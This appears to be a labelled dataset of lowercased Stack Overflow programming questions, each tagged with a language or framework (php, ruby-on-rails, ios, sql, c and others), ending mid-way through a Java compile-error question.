pass two variables to url on page reload  on my page  i have two dropdown boxes: one for a list of dates  and one for options.  the box for dates is populated as such:   <pre><code>echo  &lt;form name= selecteddate  action= page.php  method= get  class= auto-style1 &gt; ; echo  &lt;select name= date  onchange= this.form.submit() &gt; ; echo  &lt;option value=select&gt;select a date&lt;/option&gt; ; while ($row = mysql_fetch_array($result)) {     $date = date( m-d-y  strtotime($row[ date ]));      if($date==date( m-d-y ))     {         echo  &lt;option&gt;today&lt;/option&gt; ;     }     else     {         echo  &lt;option&gt;  . $date .  &lt;/option&gt; ;     } } echo  &lt;/select&gt; ;  echo  &lt;br /&gt; ;           echo  &lt;noscript&gt; ; echo  &lt;input type= submit  value= select &gt; ; echo  &lt;/noscript&gt; ; echo  &lt;/form&gt; ; </code></pre>   the other dropdown is populated as:   <pre><code>echo  &lt;form name= selectedformat  action= page.php  method= get  class= auto-style1 &gt; ; echo  &lt;select name= option  onchange= this.form.submit() &gt; ; echo  &lt;option value=select&gt;select a option&lt;/option&gt; ; echo  &lt;option value=artist&gt;artist&lt;/option&gt; ; echo  &lt;option value=song&gt;song&lt;/option&gt; ; echo  &lt;/select&gt; ;  echo  &lt;br /&gt; ;           echo  &lt;noscript&gt; ; echo  &lt;input type= submit  value= select1 &gt; ; echo  &lt;/noscript&gt; ; echo  &lt;/form&gt; ; </code></pre>   now  you notice that both of them are set for <code>submit()</code> upon change. if i change the first one  the url in the browser becomes <code>page.php date=02-26-2013</code>  and if i change the second one  the url in the browser becomes <code>page.php option=song</code>.      the problem that i m having  is that if i change the <code>date</code> to an older date  and then change the <code>option</code>  my page reverts back to the <code>date</code> being the current date.  i ve tried setting the action to a different url:   <pre><code>$url =  musicinfo.php date=  .  $nonformateddate .  &amp;option=  . $option; </code></pre>   and i changed both forms to have:   <pre><code>echo  &lt;form action=   . $url .    method= get  class= auto-style1 &gt; ;  </code></pre>   if i <code>echo $url;</code>  it correctly displays what the browser url should be.  however  the browser url is still populated by whichever dropdown i used last.    my question here is  how do i get both variables to be passed upon either submission     so for instance  if i change the <code>date</code> to be <code>01-13-2012</code>  and then change the <code>option</code> to <code>song</code>  how can i ensure that the <code>date</code> will be passed as well   and vice versa.  or  say if i change the date to <code>01-12-2012</code>  is it possible to have the <code>date</code> dropdown box have this selected upon reload     site i m trying to do:  <a href= http://www.legendary-immersion.com/random/test.php  rel= nofollow >http://www.legendary-immersion.com/random/test.php</a>,php
routing error no route matches  /users  ruby on rails tutorial: learn rails by example  by michael hartl  i m following ruby on rails tutorial: learn rails by example  by michael hartl.    <a href= http://ruby.railstutorial.org/chapters/a-demo-app#sec:a_micropost_microtour  rel= nofollow >http://ruby.railstutorial.org/chapters/a-demo-app#sec:a_micropost_microtour</a>    problem started: so  when i typed:   <pre><code>$ rails generate scaffold micropost content:string user_id:integer </code></pre>   the command went through fine.    however  when i typed: <code>$ bundle exec rake db:migrate</code>    i get the errors below:   <pre><code>k-macbook-pro:demo_app ka$ bundle exec rake db:migrate warning:  require  rake/rdoctask   is deprecated.  please use  require  rdoc/task  (in rdoc 2.4.2+)  instead.    at /users/ka/.rvm/gems/ruby-1.9.2-p290@global/gems/rake-0.9.2.2/lib/rake/rdoctask.rb warning: global access to rake dsl methods is deprecated.  please include    ...  rake::dsl into classes and modules which use the rake dsl methods. warning: dsl method demoapp::application#task called at /users/ka/.rvm/gems/ruby-1.9.2-p290@global/gems/railties-3.0.1/lib/rails/application.rb:214:in `initialize_tasks  ==  createusers: migrating ==================================================== -- create_table(:users)   -&gt; 0.0023s ==  createusers: migrated (0.0024s) =========================================== </code></pre>   info:   <pre><code>rails -v: 3.0.1 gem list: abstract (1.0.0 ruby) actionmailer (3.0.1 ruby) actionpack (3.0.1 ruby) activemodel (3.0.1 ruby) activerecord (3.0.1 ruby) activeresource (3.0.1 ruby) activesupport (3.0.1 ruby) addressable (2.2.6) arel (1.0.1 ruby) builder (2.1.2 ruby) bundler (1.0.21) erubis (2.6.6 ruby) heroku (2.17.0) i18n (0.4.2 ruby) json (1.6.3) launchy (2.0.5) mail (2.2.19 ruby) mime-types (1.17.2 ruby) polyglot (0.3.3 ruby) rack (1.2.4 ruby) rack-mount (0.6.14 ruby) rack-test (0.5.7 ruby) rails (3.0.1 ruby) railties (3.0.1 ruby) rake (0.9.2.2  0.8.7 ruby) rdoc (3.12) rest-client (1.6.7) rubyzip (0.9.5) sqlite3 (1.3.3) sqlite3-ruby (1.3.3  1.2.5 ruby) term-ansicolor (1.0.7) thor (0.14.6 ruby) treetop (1.4.10 ruby) tzinfo (0.3.31 ruby) </code></pre>   what i have tried:    i copied  gem  rake    0.8.7   to my gemfile i ran <code>bundle update rake</code> then i tried: <code>$ bundle exec rake db:migrate</code> (in /users/ka/rails_projects/demo_app) after this it brings me back to the $prompt.    when i open <a href= http://localhost:3000/users  rel= nofollow >http://localhost:3000/users</a>  i get the following error:   <blockquote>    routing error   no route matches  /users    no route matches  /users   </blockquote>,ruby-on-rails
ios cllocationmanager didupdatetolocation latitude and longitude migration  i use this code to get the longitude and latitude.   <pre><code>    (void)locationmanager:(cllocationmanager *)manager     didupdatetolocation:(cllocation *)newlocation          fromlocation:(cllocation *)oldlocation {     nslog(@ %f  newlocation.coordinate.latitude);     self.location = newlocation; } </code></pre>   but the longitude and latitude which i got has the excursion with the actual geographical position. how to solve this problem,ios
how to show local picture in web page   i need to show a picture on web page without uploading it. something like   <pre><code> &lt;img id= rupic  src= file://localhost/d:/folder/image.jpg /&gt; </code></pre>   how to do that,html
should a beginner learner start from rails 3 or rails 4  i want to get into ror and i just got the <a href= http://shop.oreilly.com/product/0636920021322.do  rel= nofollow >learning rails 3</a> book but also version 4 of rails is out  which i ve been looking at it in <a href= http://ruby.railstutorial.org/ruby-on-rails-tutorial-book  rel= nofollow >ruby on rails tutorial</a>. my question is: should i learn rails 3 before jumping into 4  what s the difference between them,ruby-on-rails
bufalign  and  bufoffset  integers in ttcp source code  there is a small and fairly old utility named <em>ttcp</em>(test tcp) which is used for tcp and udp bandwidth testing. source code can be found <a href= ftp://ftp.sgi.com/sgi/src/ttcp/ttcp.c  rel= nofollow >here</a>. in this source code there are integer type variables <code>bufalign</code> and <code>bufoffset</code> with default values of 16384 and 0 bytes accordingly. those two variables are used for creating another variable named <code>buf</code>:   <pre><code>if (bufalign != 0)         buf +=(bufalign - ((int)buf % bufalign) + bufoffset) % bufalign; </code></pre>   if i understand correctly  this <code>buf</code> is later used for actually sending the data with <code>write()</code> and <code>sendto()</code> system calls. however  while the math in code snippet above is easy and i understand that <code>bufalign</code> and <code>bufoffset</code> variables are related to memory allocation  i do not understand why they are needed in <em>ttcp</em> source code,c
how to access variable from show view  i have this in my view/index.html.erb:   <pre><code>&lt;p&gt;list of all counties&lt;/p&gt;  &lt;ul&gt;   &lt;% @counties.each do |county| %&gt;       &lt;li&gt;&lt;%= link_to  locations in #{county.name}   generate_county_url_with_prefix(county) %&gt;&lt;/li&gt;   &lt;% end %&gt; &lt;/ul&gt; </code></pre>   countiescontroller:   <pre><code>class countiescontroller &lt; applicationcontroller   before_filter :extract_county_name  :only =&gt; [:show_by_name]    def index       @counties = county.all     end     def show       @county = county.find(params[:id])     end      def show_by_name       @county = county.find_by_name(@county_name)       render :show    end     private    def extract_county_name      @county_name = params[:county_name_with_prefix].gsub(county::route_prefix   ).gsub( -      ).strip    end       end </code></pre>   all works fine until i try to call @locations within the counties/show.html.erb.   <pre><code>&lt;ul&gt;   &lt;% @locations.each do |location| %&gt;       &lt;li&gt;&lt;%= link_to  #{location.name}   generate_location_url_with_prefix(location) %&gt;&lt;/li&gt;   &lt;% end %&gt; &lt;/ul&gt; </code></pre>   i know this is because its not defined in the controller above  but when i do define it i get errors. how can i reference a @location variable (i.e. intention is to show all the locations that are within the county - in database) from this show view     many thanks,ruby-on-rails
release nsobject and stop all method calling  so my menu calls a game with this piece of code:   <pre><code>game = [[game alloc] init]; [self presentmodalviewcontroller:memorytest animated:false]; </code></pre>   a uiviewcontroller then appears with a countdown. the player can go back to the menu during the countdown. however when i try this  the countdown keeps running and eventually the game starts  even thought the uiviewcontroller has been dismissed (therefore the uiview has disappeared) in the backtomenu method.   <pre><code>[self.parentviewcontroller dismissmodalviewcontrolleranimated:false]; </code></pre>   i ve tried to release the game object in the viewdidappear method of the menu  but no luck. i thought of having a  quit  bool value  so the countdown can check wether or not the player has quit the game  but there must be a better way to release an object and stop all method calls inside it.    thanks for helping me out.    countdown method:   <pre><code>- (void)countdown {      soundeffect *sound = [[soundeffect alloc] initwithcontentsoffile:[[nsbundle mainbundle] pathforresource:@ tick  oftype: @ wav ]];     [sound playandrelease];      if(self.countdownstep &gt; 0) {         feedback.image = [uiimage imagenamed:[nsstring stringwithformat:@ countdown%d.png  self.countdownstep]];         feedback.hidden = false;          [self performselector:@selector(countdown) withobject:nil afterdelay:0.8];     }      else {         [self displaymessage:self.startmessage];         [self.game performselector:@selector(start) withobject:nil afterdelay:0.8];         [self performselector:@selector(hide) withobject:nil afterdelay:0.8];     }      self.countdownstep--;  } </code></pre>,iphone
how do i change the output of assertion error with python   on terminal of mac os x.    the output of assertequal is   <pre><code>  file  tests/test_conditions.py   line 27  in test_if_condition     self.assertequal(result  expected) assertionerror:      if (self) {\n        self.addmainlabel\n        self.addsublabel\n        self.setupbackground\n    }\n  !=      if self\n        self.addmainlabel\n        self.addsublabel\n        self.setupbackground\n    end\n  </code></pre>   but i d like to get the following output with evaluating line break  \n  and add line break after  assertionerror: .   <pre><code>  file  tests/test_conditions.py   line 27  in test_if_condition     self.assertequal(result  expected) assertionerror:       if (self) {         self.addmainlabel         self.addsublabel         self.setupbackground     }   !=       if self         self.addmainlabel         self.addsublabel         self.setupbackground     end   </code></pre>,python
i want to fetch data from a specific field in chunks  i have query as    <pre><code>select substr( general - computers - computer workstation   1  (instr( general - computers - computer workstation    - )-1)) first   substr( general - computers - computer workstation   instr( general - computers - computer workstation    - ) + 1) second from mtl_categories_v where segment1 =  01 ; </code></pre>   it give the result as :   <pre><code>first                 second general    computers - computer workstation </code></pre>   but i want query that give result as   <pre><code>first                 second                            third general              computers                 computer workstation </code></pre>   please tell me the way to fetch characters before and after dashes.,sql
how to set speed dial from ios app   in my app i m have a option for speed dial. if i click on it  it have to make a speed dial on home screen or in dial pad(i.e if i click on a crated shortcut on home screen or in keypad  it has to make a call to a particular number). is it possible in ios  if so please suggest me how to achieve this .    thanks in advance.,ios
9patch images for android toggle button  i have a requirement for a toggle button in android. i have been trying to find 9patch images for my toggle button but so far no success. can someone please help me. i did not think it would be so difficult  but cannot find any help anywhere       kind regards,android
asp.net request lifecycle  say i have a folder in my web app  with an <code>index.html</code> inside it:   <pre><code>/test /test/index.html </code></pre>   and the following <code>module</code>   <pre><code>public class testmodule : ihttpmodule {     public void init(httpapplication context)     {         context.releaserequeststate += context_releaserequeststate;     }      static void context_releaserequeststate(object sender  eventargs e)     {         var application = sender as httpapplication;          // foo     } } </code></pre>   if i make a request to <code>/test/index.html</code>  <code>context_releaserequeststate</code> fires and the response is returned  great.    if i make a request to <code>/test/</code>  <code>context_releaserequeststate</code> fires as above  the response is returned  but then <code>context_releaserequeststate</code> fires again!    the response has already been returned (and the connection closed  etc). the <code>httpcontext.response</code> object has the followng properties set on it:   <pre><code>headerswritten: true headers: server=microsoft-iis%2f7.5 </code></pre>   what is causing this second invocation     on the <code>request</code>the <code>filepath</code> property for the first invocation is <code>/test/index.html</code>  and for the second its <code>/test/</code>    is there some property on the <code>httpapplication</code> or <code>httprequest</code> that i can check that identifies this 2nd request for whatever it is  the <code>headerswritten</code> property is internal :(    thanks,asp.net
left join issue  am trying to do a left join along with a condition. say this is my table:   <pre><code>a     b     c ------------------------- 1     1     null 3     3     something </code></pre>   and my query is    <pre><code>select * from x left join y on x.a = y.b </code></pre>   the problem is that i don t want c to be  something  so when i add   <pre><code>select * from x left join y on x.a = y.b where y.c &lt;&gt;  something  </code></pre>   it displays 0 rows. it should actually display   <pre><code>a     b     c ------------------------- 1     1     null </code></pre>,mysql
show asp.net page then send file with response.writefile  i need to show an asp.net page with a message like  your download will start soon...  then  i need to send a file with response.writefile(myfile).  the problem is that i insert my code into page_loadcomplete  because i assume asp.net will show and rendere basic html  then in the code there is  response.writefile(strfullpath).  the problem is that no html is rendered  and the file is transfered correctly ! how can i also show a simple html like  your download is in progress  ...      thanks,asp.net
c# question regarding rewriting from vb  i m a vb guy learning c#. i seem to be getting the hang of it but i ve got a couple questions regarding some code i m writing.     in the first one here i m getting an error when i write my code like so:    <pre><code>irowindex = sf1411bindingsource.find(sf1411dataset.sf1411.columns(groupbox4.tag.tostring).tostring  textbox1.text);         if (irowindex == -1) </code></pre>  <blockquote>    error 1  system.data.datatable.columns  is a  property  but is used like a  method  c:\11180_application\11180_application\edit.cs 186 71 11180_application  </blockquote>   my other issue is that in vb i use tags but in c# it doesnt seem to like them:    <pre><code>//set the find label to display the new find column groupbox4.text =  find -   + sender.tag.tostring +  : ; //store the sort column name in lblfind s tag property groupbox4.tag = sender.tag.tostring; </code></pre>  <blockquote>    error 4  object  does not contain a definition for  tag  c:\11180_application\11180_application\edit.cs 211 36 11180_application  </blockquote>   any ideas here,c#
how to execute code when i move from textbox to the next one in c#   in my program i v made textboxs one of them is fileno_txt  so i want to check if that file number is exist in the database or not when i move to the other textbox       <a href= https://i.stack.imgur.com/fu2vp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fu2vp.png  alt= enter image description here ></a>,c#
how to print angularjs var inside php  i am trying to write a php url parameter as a function of angularjs    <pre><code>&lt;span ng-click= update([[a.code]]  $ index   {{route (  article_update   array (  id  =&gt; [[a.code]]))}} )&gt;update&lt;/ span&gt;  </code></pre>   and do not get it.  how could i     <strong>note: i use interpolation  {{  to  [[  for angular  because conflict with blade template</strong>,angularjs
how do i comment out erb  in rails   i understand that commenting in rails is done with  #  but if i try to comment out erb tags  i always run into problems   <pre><code> &lt;%= link_to  make default   make_default_admin_state_path(state) %&gt; </code></pre>   where would you put the  #  on this code      i tried to put it outside the &lt;% and it did nothing. when i put it inside  there was an error message,ruby-on-rails
how can you skip over user-defined breakpoints in .net   i have an assembly compiled in debug mode  with <code>debug</code> defined. if i execute this directly  from the command line  a window will pop up saying a user-defined breakpoint was encountered. how can i ignore these or have them close automatically without stopping the program     i noticed that when i run a whole batch of programs like this from <code>msbuild</code>  with <code>calltargets</code> and <code>runeachtargetseparately= true </code>  the dialogs pop up  but then automatically go away. so i know there s a way to do this  but i haven t been able to figure it out.    i m looking for a way to do this that doesn t require changing the assembly or recompiling.,.net
keep inner divs on same line though inner div width is greater than 100%  i m playing around with a slide menu. i need the content <code>div</code> to have a width of 100% and menu to have width of 16% (it s a long story). of course  this results in the content <code>div</code> being pused to the next line. is there a way to keep the inner <code>divs</code> on the same line  even though total percenatge is greater than 100%  with the right part of the content <code>div</code> off the screen  here is the <a href= http://jsfiddle.net/s10yqj43/  rel= nofollow >jsfiddle</a>,css
finger gesture in tabbar  i have to create a tab bar. if i do a single tap on the tab bar  the label should read some quote.    similarly it should recognize these touch gestures and display the text in the label :    1) double tap     2) 1 finger : top to bottom swipe.    how can i do this,iphone
programming model for classes with const variables  i frequently have to face the scenario of a class containing several const variables  which need to be initialized in the initialization list  but also need some other method in advance to calculate the values.    for example  for the following class:   <pre><code>class base {     protected:         const int a  b;     public:         base(string file); }; </code></pre>   i want the constructor to extract some variables by parsing the file  and then assign the extracted values to the const variables (<code>a</code> and <code>b</code>). i used to spoil the comma operator a lot (<a href= https://stackoverflow.com/questions/19396492/use-comma-operator-to-initialize-the-base-class >use comma operator to initialize the base class</a>)  but found very inconvenient for more complicated cases. any suggestions about some more elegant solutions,c++
space after function name is wrong   i was using jslint and i got an error for putting a space after the function name. why is that bad    <pre><code>function coolness () {     var hi =  this ; } </code></pre>   error: problem at line 1 character 19: unexpected space between  coolness  and  ( .,javascript
changing defined size in a function  trying to get more familiar with arrays in c  but i have ran in to a problem. at the start of the program i define array column and row size:   <pre><code>#define rows 10 #define cols 20 </code></pre>   have several functions which work with the array everything is fine. however  i might need to add a function that changes the defined rows and cols for exaple to 5 and 10. so is there any way to do so in the function itself without changing the numbers at the top of the code where i defined them the first time.,c
how to delete a python object or how to create a new object with the same name (overwritting the old)    i want to delete or overwrite a python object.    first  here is simple class.   <pre><code>&gt;&gt;&gt; def myclass(): ...    def __init__(self  name  value=[]): ...        self.name = name ...        self.value = value ... </code></pre>   then i create an object of <code>myclass</code> and add something to the <code>value</code> attribute.   <pre><code>&gt;&gt;&gt; m1 = myclass( m1 ) &gt;&gt;&gt; m1.value.append( a ) &gt;&gt;&gt; m1.value.append( b ) &gt;&gt;&gt; m1.value [ a    b ] </code></pre>   now i try to delete it.   <pre><code>&gt;&gt;&gt; del m1 &gt;&gt;&gt; m1.value  ### the variable seem to be properly erased traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; nameerror: name  m1  is not defined </code></pre>   seems to be properly deleted. i try to create a new object with the same name (because i want to overwrite the old values).   <pre><code>&gt;&gt;&gt; m1 = myclass( m1 ) &gt;&gt;&gt; m1.value [ a    b ] ### the previous value was not erased!! </code></pre>   it seems the <code>del</code> command on python is not actually deleting the variable. do i need to manually call the garbage collector to erase it     i m using python 3.6.3,python
saving avaudiorecording at path  i managed to set up the avaudiorecorder to make recordings  but i would like to save the recording in the documents directory to listen to it later. i tried this:   <pre><code>- (void) audiorecorderdidfinishrecording:(avaudiorecorder *)avrecorder successfully:(bool)flag{  buttonstoprecording.hidden = yes;  nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); nsstring *documentsdirectory = [paths objectatindex:0]; nsstring *filepath = [documentsdirectory stringbyappendingpathcomponent:@ audiofile.ext ];  // where ext is the audio format extension you have recorded your sound [avrecorder.data writetofile:filepath atomically:yes];  }  </code></pre>   but there is an error in    <pre><code>avrecorder.data </code></pre>   how can i solve the issue,ios
how to combine several time spans  lets say  i have the following table   <pre><code>| start               | end                 | activity +---------------------+---------------------+--------- | 2010-07-26 09:10:00 | 2010-07-26 09:21:00 | 6 | 2010-07-26 09:35:00 | 2010-07-26 09:47:00 | 5 | 2010-07-26 10:05:00 | 2010-07-26 10:45:00 | 5 | 2010-07-26 10:50:00 | 2010-07-26 11:22:00 | 6 | 2010-07-26 13:15:00 | 2010-07-26 13:43:00 | 7 | 2010-07-26 14:12:00 | 2010-07-26 14:55:00 | 2 </code></pre>   i want to combine the small time spans  getting the average minutes with activity per hour. something like that:   <pre><code>| start               | minutes_activity    | avg_activity +---------------------+---------------------+--------- | 2010-07-26 09:00:00 | 42                  | {avg value} | 2010-07-26 10:00:00 | 50                  | {avg value} | 2010-07-26 11:00:00 | 22                  | {avg value} | 2010-07-26 13:00:00 | 28                  | {avg value} | 2010-07-26 14:00:00 | 43                  | {avg value} </code></pre>   note that some records can have activity minutes in two hours  i.e 10:50:00 - 11:22:00. in this case  10 minutes should be added to 10:00 and 22 minutes to 11:00.    a solution  be it mysql  php or both is appreciated.    thank you advance.,mysql
check if any of the list of keys are present in a dictionary  i have a fixed list of strings. i need to check if any of these strings are a key in the dictionary (just need true or false). i could go    <pre> if  asdf  in dict or  qwer  in dict or  zxcv  in dict ... :     ... do important secret stuff ... </pre>   but it seems suboptimal. is there a more idiomatic way of doing this,python
"accessing instance variable from other instance in python  i m  trying to find the best way of accessing an instance variable from another instance. so far i ve been able to pass that variable as an argument and save it in the new instance. but im wondering if there is some sort of   global  variable that will work best. specially if the classes are from different modules.    here is my example.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>class a(object):
  def __init__(self):
   self.globalobject =  global object 
   self.listb = self.generateblist()
 
 
  def generateblist(self):
   return [b(self.globalobject  i) for i in range(10)]
  
 
 
 class b(object):
  def __init__(self  globalobject  index):
   self.index = index
   self.globalobject = globalobject
 
  def splitglobalobject(self):
   return self.globalobject.split(   )
 
 
 a = a()
 firstb = a.listb[0]
 print firstb.splitglobalobject()</code></pre>
 </div>
 </div>
     here when i generateblist() i need to pass always that  globalobject  as an argument  b(self.globalobject  i)   and then this object gets saved into b.globalobject  butif i had many classes that needed to access that global object im not sure if passing it always as an argument would be the best option. what would be the best way of accessing it without having to pass it always as an argument when you create instances     i hope i explained my way properly. thanks in advanced.",python
modifying a view to modify a base relation to which i don t have permissions  let s say i have a permissions to update a view  where the view is:     <code>create view v as select * from student where major like  %engineering% </code>.    i don t have permissions to modify or view any student whose major does not contain the word  engineering.  should i be allowed to insert into this view even if the major of the student i m inserting is <code> biology </code>  would the view propagate to the base relation,sql
implement strcmp function in c  i want to implement <code>strcmp</code> so this is what i have try:   <pre><code>int compare(char *str1  char *str2  int maximumcharacterstocompare) {     int i;     int result = 0;     for (i = 0; i &lt; maximumcharacterstocompare; i++)     {         if (str1[i] &gt; str2[i])             result = 1;         else if (str1[i] &lt; str2[i])             result = -1;         if (str1[i] ==  \0  || str1[i] ==  \0 )             break;     }      return result; } </code></pre>   my usage:   <pre><code>char str1[127]; char str2[127];  printf( please enter first string:  ); scanf( %s   str1);  printf( please enter second string:  ); scanf( %s   str2);  int result = compare(str1  str2  127); </code></pre>   so my problem is that if i try to compare <code> test </code> and <code> test  </code> this return <code>0</code> and i can see that <code>str2</code> is equat to <code> test </code> instead of <code> test  </code> and thats why my result is <code>0</code>,c
is jquery animation cpu intensive   i have a page that uses the slider revolution jquery plugin by themepunch to implement ken burns zooms and pans (www.zoespicks.com). these work fine on  desktops and on smart phones but some tablets have trouble. samsung s tab pro 12.2  for example  can t do them.  instead of a smooth animation you see a  jerk  about every 3/4 of a second. an ipad air 2  on the other hand  plays them as smooth as silk. i m guessing that these jquery animations are extremely cpu intensive  with jquery basically calculating new values and outputting them as fast as it can to create the animation. smart phones work because there aren t that many pixels to move around  but tablets have four times as many pixels and unless they ve beefed up the cpu &amp; graphics processor from the smartphone  they can t handle it.  it appears that samsung didn t and apple did.  just going from the ipad air to the ipad air2  e.g.  apple increased the processor performance by 40% and the graphics performance by 2.5x.       am i thinking straight here   is jquery animation highly cpu intensive and likely the cause of what i m seeing     thanks,jquery
cursor only outputs last value  the log shows all the data but it only outputs the last value in textview  any ideas on why    <pre><code>    if (c.movetofirst()) {          //log to test cursor data         log.i( cursor   databaseutils.dumpcursortostring(c));           do {             string cow = c.getstring(c.getcolumnindex( cow ));             string score = c.getstring(c.getcolumnindex( score ));              textviewoutputcow.settext(cow +  \n );             textviewoutputscore.settext(score +  \n );         } while (c.movetonext());      }     c.close();  </code></pre>,android
how to select the max salary per department  including the employees that earn it  given a table <code>employees</code>   <pre><code>+-------+--------+-----------+------+-----------+------+------+--------+ | empno | ename  |    job    | mgr  | hiredate  | sal  | comm | deptno | +-------+--------+-----------+------+-----------+------+------+--------+ |  7369 | smith  | clerk     | 7902 | 17-dec-80 |  800 |      |     20 | |  7499 | allen  | salesman  | 7698 | 20-feb-81 | 1600 |  300 |     30 | |  7521 | ward   | salesman  | 7698 | 22-feb-81 | 1250 |  500 |     30 | |  7566 | jones  | manager   | 7839 | 02-apr-81 | 2975 |      |     20 | |  7654 | martin | salesman  | 7698 | 28-sep-81 | 1250 | 1400 |     30 | |  7698 | blake  | manager   | 7839 | 01-may-81 | 2850 |      |     30 | |  7782 | clark  | manager   | 7839 | 09-jun-81 | 2450 |      |     10 | |  7788 | scott  | analyst   | 7566 | 19-apr-87 | 3000 |      |     20 | |  7839 | king   | president | null | 17-nov-81 | 5000 |      |     10 | |  7844 | turner | salesman  | 7698 | 08-sep-81 | 1500 |    0 |     30 | |  7876 | adams  | clerk     | 7788 | 23-may-87 | 1100 |      |     20 | |  7900 | james  | clerk     | 7698 | 03-dec-81 |  950 |      |     30 | |  7902 | ford   | analyst   | 7566 | 03-dec-81 | 3000 |      |     20 | |  7934 | miller | clerk     | 7782 | 23-jan-82 | 1300 |      |     10 | +-------+--------+-----------+------+-----------+------+------+--------+ </code></pre>   and another table <code>departments</code>   <pre><code>+--------+------------+----------+ | deptno |   dname    |   loc    | +--------+------------+----------+ |     10 | accounting | new york | |     20 | research   | dallas   | |     30 | sales      | chicago  | |     40 | operations | boston   | +--------+------------+----------+ </code></pre>   how can i find the maximum salary of each department     the output format line is:   <pre><code>deptno ename dname sal loc </code></pre>,sql
code won t compile  i m using microsoft visual studio express 2013 and have written the following code   <pre><code>#include &lt;iostream&gt; using namespace std; int main() {     cout &lt;&lt;  hello world! ;     return 0; } </code></pre>   i get the following errors    <blockquote>    1 intellisense: pch warning: cannot find a suitable header stop location.  an intellisense pch file was not generated.        2 intellisense: expected a declaration    error 3 error c1010: unexpected end of file while looking for precompiled header. did you forget to add  #include  stdafx.h   to your source      </blockquote>   i ve tried adding  #include  stdafx.h  but this makes no difference. i ve got precompiled header ticked and if i untick it i get the following messages when i attempt to build.    <pre><code> consoleapplication6.exe  (win32): loaded  c:\users\justin\desktop\consoleapplication6\debug\consoleapplication6.exe . symbols loaded.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\ntdll.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\kernel32.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\kernelbase.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\msvcp120d.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\msvcr120d.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\guard32.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\user32.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\gdi32.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\lpk.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\usp10.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\msvcrt.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\advapi32.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\sechost.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\rpcrt4.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\sspicli.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\cryptbase.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\version.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\imm32.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\msctf.dll . cannot find or open the pdb file.  consoleapplication6.exe  (win32): loaded  c:\windows\syswow64\fltlib.dll . cannot find or open the pdb file. the program  [4872] consoleapplication6.exe  has exited with code 0 (0x0). </code></pre>,c++
is the integer constant s default type signed or unsigned   is the integer constant s default type signed or unsigned  such as 0x80000000  how can i to decide to use it as a signed integer constant or unsigned integer constant without any suffix     if it is a signed integer constant  how to explain following case    <pre><code>printf( 0x80000000&gt;&gt;3 : %x\n   0x80000000&gt;&gt;3); </code></pre>   output:   <pre><code>0x80000000&gt;&gt;3 : 10000000 </code></pre>   the below case can indicate my platform uses arithmetic bitwise shift  not logic bitwise shift:   <pre><code>int n = 0x80000000;  printf( n&gt;&gt;3: %x\n   n&gt;&gt;3); </code></pre>   output:   <pre><code>n&gt;&gt;3: f0000000 </code></pre>,c
java inventory programming <pre><code>c:\users\gator\documents\inventorypart1.java:101: cannot find symbol symbol  : constructor television(java.lang.string java.lang.string int double) location: class television         television sony = new television ( sony368    sony vega   2  899.99);                           ^ </code></pre>   1 error  this is the error i get when i try to compile my java code below: i need to know what to change in order for it to compile can anyone help  i don t understand the int in the error message.   <pre><code>//author:           walter rutherford //date:             feb. 03/2011 //class:            it/215 week five inventory program 1  import java.text.numberformat; import java.util.locale; import java.util.scanner;  class television {      private string itemnumber;     private string productname;     private double units;     private double unitprice;     private double unitstotal;     //constructor     public television (string itemnumber  string productname  double units  double unitprice  double unitstotal) {         setitemnumber(itemnumber);         setproductname(productname);         setunits(units);         setunitprice(unitprice);         unitstotal = units ++;     }      //accessor methods for class variables     public string getitemnumber () {         return itemnumber;     }      public void setitemnumber (string itemnumber) {         this.itemnumber = itemnumber;     }      public string getproductname () {         return productname;     }      public void setproductname (string productname) {         this.productname = productname;     }      public double getunits () {         return units;     }      public void setunits (double units) {         this.units = units;     }      public double getunitprice () {         return unitprice;     }      public void setunitprice (double unitprice) {         this.unitprice = units * unitprice;     }      public double getunitstotal () {         return unitstotal;     }      public void setunitstotal (double unitstotal) {         this.unitstotal = units ++;     }   }  public class inventorypart1 {      public static void main (string args[]) {           int units;          double unitprice;          double unitstotal;         unitstotal = units ++;          double unitsprice;         unitsprice = units * unitprice;          double unitstotalprice;         unitstotalprice = unitstotal * unitprice;          double totalinventory;         totalinventory = unitstotal * unitstotalprice;           numberformat nf = numberformat. getcurrencyinstance(locale.us);          //create an instance of the television class         television sony = new television ( sony368    sony vega   2  899.99);          //use the methods from class television to output the inventory details.         system.out.println( item number:   + sony.getitemnumber());          system.out.println( product name:   + sony.getproductname());          system.out.print( number of units:  );         system.out.println(nf.format(units));          system.out.print( unit price:  );         system.out.println(nf.format(unitprice));          system.out.print( units total:  );         system.out.println(nf.format(unitstotal));          system.out.print( units total price:  );         system.out.println(nf.format(unitstotalprice));          system.out.print( total inventory:  );         